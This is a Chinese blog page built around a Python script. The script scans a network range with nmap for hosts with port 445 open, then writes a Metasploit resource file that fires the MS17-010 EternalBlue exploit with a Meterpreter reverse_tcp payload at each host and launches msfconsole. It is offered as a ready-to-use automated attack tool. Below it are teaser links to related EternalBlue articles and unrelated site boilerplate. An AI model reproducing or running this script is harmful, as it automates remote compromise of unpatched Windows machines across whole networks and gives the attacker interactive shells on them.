我们首先利用 findTarget() 函数找到目标网段或目标主机中开放了445端口的主机,然后利用 confickerExploit() 函数将攻击代码写入 configure.rc 配置文件中,最后调用 MSF 框架读取配置文件进行攻击!

# -*- coding: utf-8 -*-
"""
Created on Sun Nov 12 09:11:33 2018
@author: 小谢
"""
import os
import optparse
import sys
import nmap
def findTarget(Hosts): #扫描网段范围内开放445端口的主机
nmScan=nmap.PortScanner()
nmScan.scan(Hosts,'445')
targets=[]
for t in nmScan.all_hosts():
if nmScan[t].has_tcp(445): #如果445端口提供了协议
state=nmScan[t]['tcp'][445]['state'] #查看445端口的状态
if state=='open':
print '[+]Found Target Host:'+t
targets.append(t)
return targets #返回开放445端口的主机列表
def confickerExploit(configFile,target,lhost): #漏洞利用
configFile.write('use exploit/windows/smb/ms17_010_eternalblue \n') #漏洞利用代码
configFile.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp\n')
configFile.write('set RHOST '+str(target)+'\n') #设定参数
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exploit -j -z\n') #j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换
def main():
configFile=open('configure.rc','w') #以写入方式打开配置文件
usage='[-]Usage %prog -H <RHOSTS> -l/-L <LHOST> '
parser=optparse.OptionParser(usage)
parser.add_option('-H',dest='target',type='string',help='target host') #目标主机
parser.add_option('-l','-L',dest='lhost',type='string',help='listen address') #我们的主机
(options,args)=parser.parse_args()
target=options.target
lhost=options.lhost
if (target==None)|(lhost==None):
print parser.usage
exit(0)
targets=findTarget(options.target) #寻找目标
for target in targets: #逐个攻击
confickerExploit(configFile,target,lhost)
configFile.close()
os.system('msfconsole -r configure.rc') #启动metasploit并读取配置文件
if __name__=='__main__':
main()

Python脚本与Metasploit交互进行自动永恒之蓝攻击的更多相关文章

  1. Python脚本与Metasploit交互攻击

    Metasploit是一款强大的漏洞扫描和利用工具,编写Python脚本与Metasploit进行交互,可以自动化的扫描和利用漏洞. 相关文章:Metasploit框架的使用 在脚本中,我们首选需要利 ...

  2. 使用kali中的Metasploit通过windows7的永恒之蓝漏洞攻击并控制win7系统(9.27 第十三天)

    1.开启postgresql数据库 2.msfconsole 进入MSF中 3.search 17-010 搜索cve17-010相关的exp auxiliary/scanner/smb/smb_ms ...

  3. 针对“永恒之蓝”攻击紧急处置手册(蠕虫 WannaCry)

    首先确认主机是否被感染 被感染的机器屏幕会显示如下的告知付赎金的界面: 如果主机已被感染: 则将该主机隔离或断网(拔网线).若客户存在该主机备份,则启动备份恢复程序. 如果主机未被感染: 则存在四种方 ...

  4. Metasploit(msf)利用ms17_010(永恒之蓝)出现Encoding::UndefinedConversionError问题

    Metasploit利用ms17_010(永恒之蓝) 利用流程 先确保目标靶机和kali处于同一网段,可以互相Ping通 目标靶机防火墙关闭,开启了445端口 输入search ms17_010 搜索 ...

  5. NSA永恒之蓝病毒,如何通过360工具修复?

    简介: NSA武器库的公开被称为是网络世界"核弹危机",其中有十款影响Windows个人用户的黑客工具,包括永恒之蓝.永恒王者.永恒浪漫.永恒协作.翡翠纤维.古怪地鼠.爱斯基摩卷. ...

  6. 【渗透测试】MS17-010 "永恒之蓝" 修复方案

    多所院校电脑被勒索,吾等当代大学生怎能坐视不管. --------------------------------------------------------------------------- ...

  7. PCB Windows Petya(永恒之蓝)勒索病毒补丁检测代码

    公司内部电脑招受到新的勒索病毒Petya(永恒之蓝)攻击,直接导致受攻击的电脑系统崩贵无法启动,这次勒索病毒攻击影响范围之广,IT,人事,工程,生产,物控等部门都无一幸免,对整个公司运转产生了非常严重 ...

  8. Metasploitable3学习笔记--永恒之蓝漏洞复现

    漏洞描述: Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不 ...

  9. python脚本-开机自动联网

    办公室的电脑开机之后,需要打开浏览器登录校园用户认证网页,输入用户名密码登录认证之后才能联网,每次都这样搞很麻烦,写了个Python脚本自动完成这个工作. onStartup.py #file:onS ...

随机推荐

  1. HDOJ-6685(暴力+思维)

    Rikka With Coin HDOJ-6685 主要的思想如下: 首先10元的硬币最多只会用一个,如果用了两个,直接替换成一个10元.一个20元一定不亏. 20元的硬币最多只会用三个,如果用了四个 ...

  2. django框架如何解决跨域问题

    跨域问题的由来 由于浏览器具有同源策略的限制. 限制:在发送Ajax请求时,如果当前浏览器的URL是a.com,页面中向b.com发送Ajax请求,请求可以正常访问,但数据回到浏览器时,浏览器会阻止. ...

  3. WPF 基础 - DataTemplate

    如果把控件的功能视为内容,则可以使用控件模板 ControlTemplate 来控制它的展现: 如果把数据视为内容,则可以使用数据模板 DataTemplate 把数据展示出来: ControlTem ...

  4. LNMP配置——Nginx配置 ——域名重定向

    一.配置 #vi /usr/local/nginx/conf/vhost/test.com.conf 写入: server { listen 80; server_name test.com test ...

  5. 2019 GDUT Rating Contest I : Problem B. Teamwork

    题面: 传送门 B. Teamwork Input file: standard input Output file: standard output Time limit: 1 second Memor ...

  6. 文本编辑工具 Vim与压缩打包

    vim一共有3种模式:一般模式.编辑模式和命令模式 一般模式下的移动光标 光标向左移动:h或者向左的方向键 光标向右移动:l或者向右的方向键光标向上移动:k或者向上的方向键光标向下移动:j或者向下的方 ...

  7. 一文教你搞懂 Go 中栈操作

    转载请声明出处哦~,本篇文章发布于luozhiyun的博客:https://www.luozhiyun.com/archives/513 本文使用的go的源码15.7 知识点 LInux 进程在内存布 ...

  8. [源码解析] 并行分布式任务队列 Celery 之 Task是什么

    [源码解析] 并行分布式任务队列 Celery 之 Task是什么 目录 [源码解析] 并行分布式任务队列 Celery 之 Task是什么 0x00 摘要 0x01 思考出发点 0x02 示例代码 ...

  9. angular+ionic -- 启动命令

    初始angular+ionic项目,启动需ionic的启动命令: ionic serve

  10. Jmeter(四十二) - 从入门到精通进阶篇 - Jmeter配置文件的刨根问底 -番外篇(详解教程)

    1.简介 为什么宏哥要对Jmeter的配置文件进行一下讲解了,因为有的童鞋或者小伙伴在测试中遇到一些需要修改配置文件的问题不是很清楚也不是很懂,就算修改了也是模模糊糊的.更有甚者觉得那是禁地神圣不可轻 ...